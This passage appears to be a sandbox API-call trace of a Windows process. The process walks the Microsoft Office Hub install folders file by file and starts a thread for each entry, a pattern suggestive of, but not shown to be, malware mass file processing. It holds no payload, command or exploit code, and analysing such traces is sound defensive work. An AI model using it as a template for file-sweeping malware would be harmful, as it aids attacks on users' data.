	[0077.035] wcscmp (_String1="mso20imm.dll", _String2="..") returned 1
	[0077.035] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63254d7a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x63508a92, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x63508a92, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5a32c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso30imm.dll", cAlternateFileName="")) returned 1
	[0077.035] wcscmp (_String1="mso30imm.dll", _String2=".") returned 1
	[0077.035] wcscmp (_String1="mso30imm.dll", _String2="..") returned 1
	[0077.035] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6357cfac, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x63688022, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x63688022, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2180c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="office.odf", cAlternateFileName="")) returned 1
	[0077.035] wcscmp (_String1="office.odf", _String2=".") returned 1
	[0077.035] wcscmp (_String1="office.odf", _String2="..") returned 1
	[0077.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e11e10
	[0077.036] wcscpy (in: _Dest=0x2e11e10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.036] wcscat (in: _Dest=0x2e11e10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.036] wcscat (in: _Dest=0x2e11e10, _Source="office.odf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\office.odf") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\office.odf"
	[0077.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e11e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xafc
	[0077.036] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x636ae280, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc4357d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x63720995, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1
	[0077.036] wcscmp (_String1="Office16", _String2=".") returned 1
	[0077.036] wcscmp (_String1="Office16", _String2="..") returned 1
	[0077.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e125a8
	[0077.036] wcscpy (in: _Dest=0x2e125a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.036] wcscat (in: _Dest=0x2e125a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.036] wcscat (in: _Dest=0x2e125a8, _Source="Office16" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Office16"
	[0077.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e125a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00
	[0077.037] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x638057b6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x638057b6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x638057b6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x659, dwReserved0=0x0, dwReserved1=0x0, cFileName="Officehub_Base_PriConfig.xml", cAlternateFileName="")) returned 1
	[0077.037] wcscmp (_String1="Officehub_Base_PriConfig.xml", _String2=".") returned 1
	[0077.037] wcscmp (_String1="Officehub_Base_PriConfig.xml", _String2="..") returned 1
	[0077.037] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x498ee98
	[0077.037] wcscpy (in: _Dest=0x498ee98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.037] wcscat (in: _Dest=0x498ee98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.038] wcscat (in: _Dest=0x498ee98, _Source="Officehub_Base_PriConfig.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Officehub_Base_PriConfig.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Officehub_Base_PriConfig.xml"
	[0077.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x498ee98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb04
	[0077.038] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x638057b6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x638c4379, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x638c4379, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x189ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="officeimm.odf", cAlternateFileName="")) returned 1
	[0077.038] wcscmp (_String1="officeimm.odf", _String2=".") returned 1
	[0077.038] wcscmp (_String1="officeimm.odf", _String2="..") returned 1
	[0077.038] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x2e29fc8
	[0077.038] wcscpy (in: _Dest=0x2e29fc8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.038] wcscat (in: _Dest=0x2e29fc8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.038] wcscat (in: _Dest=0x2e29fc8, _Source="officeimm.odf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\officeimm.odf") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\officeimm.odf"
	[0077.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e29fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb08
	[0077.039] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x638c4379, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x638c4379, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x638c4379, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offihub_Base_PriInfo.pri.xml", cAlternateFileName="")) returned 1
	[0077.039] wcscmp (_String1="Offihub_Base_PriInfo.pri.xml", _String2=".") returned 1
	[0077.039] wcscmp (_String1="Offihub_Base_PriInfo.pri.xml", _String2="..") returned 1
	[0077.039] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x2e2a0a8
	[0077.039] wcscpy (in: _Dest=0x2e2a0a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.039] wcscat (in: _Dest=0x2e2a0a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.039] wcscat (in: _Dest=0x2e2a0a8, _Source="Offihub_Base_PriInfo.pri.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Offihub_Base_PriInfo.pri.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Offihub_Base_PriInfo.pri.xml"
	[0077.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2a0a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0c
	[0077.040] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x638c4379, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x63936aaf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x63936aaf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x356000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Registry.dat", cAlternateFileName="")) returned 1
	[0077.040] wcscmp (_String1="Registry.dat", _String2=".") returned 1
	[0077.040] wcscmp (_String1="Registry.dat", _String2="..") returned 1
	[0077.040] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e2a1a8
	[0077.040] wcscpy (in: _Dest=0x2e2a1a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.040] wcscat (in: _Dest=0x2e2a1a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.040] wcscat (in: _Dest=0x2e2a1a8, _Source="Registry.dat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Registry.dat") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\Registry.dat"
	[0077.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2a1a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb10
	[0077.041] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63936aaf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x63936aaf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x63936aaf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.041] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.041] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.041] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x2e2a288
	[0077.041] wcscpy (in: _Dest=0x2e2a288, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.041] wcscat (in: _Dest=0x2e2a288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.041] wcscat (in: _Dest=0x2e2a288, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0077.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2a288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb14
	[0077.042] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63936aaf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6395ccec, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6395ccec, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xdd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="StreamMap.xml", cAlternateFileName="")) returned 1
	[0077.042] wcscmp (_String1="StreamMap.xml", _String2=".") returned 1
	[0077.042] wcscmp (_String1="StreamMap.xml", _String2="..") returned 1
	[0077.042] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x2e2a368
	[0077.042] wcscpy (in: _Dest=0x2e2a368, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.042] wcscat (in: _Dest=0x2e2a368, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.042] wcscat (in: _Dest=0x2e2a368, _Source="StreamMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\StreamMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\StreamMap.xml"
	[0077.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2a368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb18
	[0077.043] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6395ccec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc44b63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6395ccec, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="strings", cAlternateFileName="")) returned 1
	[0077.043] wcscmp (_String1="strings", _String2=".") returned 1
	[0077.043] wcscmp (_String1="strings", _String2="..") returned 1
	[0077.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x2d7e068
	[0077.043] wcscpy (in: _Dest=0x2d7e068, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.043] wcscat (in: _Dest=0x2d7e068, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.043] wcscat (in: _Dest=0x2d7e068, _Source="strings" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\strings"
	[0077.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7e068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb1c
	[0077.044] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6395ccec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabc45469, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x662a39a5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFS", cAlternateFileName="")) returned 1
	[0077.044] wcscmp (_String1="VFS", _String2=".") returned 1
	[0077.044] wcscmp (_String1="VFS", _String2="..") returned 1
	[0077.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x2e2a448
	[0077.044] wcscpy (in: _Dest=0x2e2a448, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.044] wcscat (in: _Dest=0x2e2a448, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.044] wcscat (in: _Dest=0x2e2a448, _Source="VFS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS"
	[0077.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e2a448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb20
	[0077.045] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x663d4c5d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabd372f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6644736d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XMLOffKeys", cAlternateFileName="XMLOFF~1")) returned 1
	[0077.045] wcscmp (_String1="XMLOffKeys", _String2=".") returned 1
	[0077.045] wcscmp (_String1="XMLOffKeys", _String2="..") returned 1
	[0077.045] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12320
	[0077.045] wcscpy (in: _Dest=0x2e12320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe"
	[0077.045] wcscat (in: _Dest=0x2e12320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\"
	[0077.045] wcscat (in: _Dest=0x2e12320, _Source="XMLOffKeys" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys"
	[0077.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e12320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb24
	[0077.046] FindNextFileW (in: hFindFile=0x2d713c0, lpFindFileData=0x2dc0200 | out: lpFindFileData=0x2dc0200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x663d4c5d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabd372f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6644736d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XMLOffKeys", cAlternateFileName="XMLOFF~1")) returned 0
	[0077.046] FindClose (in: hFindFile=0x2d713c0 | out: hFindFile=0x2d713c0) returned 1
	[0077.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc0200) returned 1
	[0077.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48b80) returned 1
	[0077.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c100) returned 1

Thread:
	id = 279
	os_tid = 0xf84

	[0076.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x2d7ec98
	[0076.802] wcscpy (in: _Dest=0x2d7ec98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe"
	[0076.802] wcscat (in: _Dest=0x2d7ec98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.802] wcscat (in: _Dest=0x2d7ec98, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc0468
	[0076.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2dc0468 | out: lpFindFileData=0x2dc0468*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628da999, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad738
	[0078.761] wcscmp (_String1=".", _String2=".") returned 0
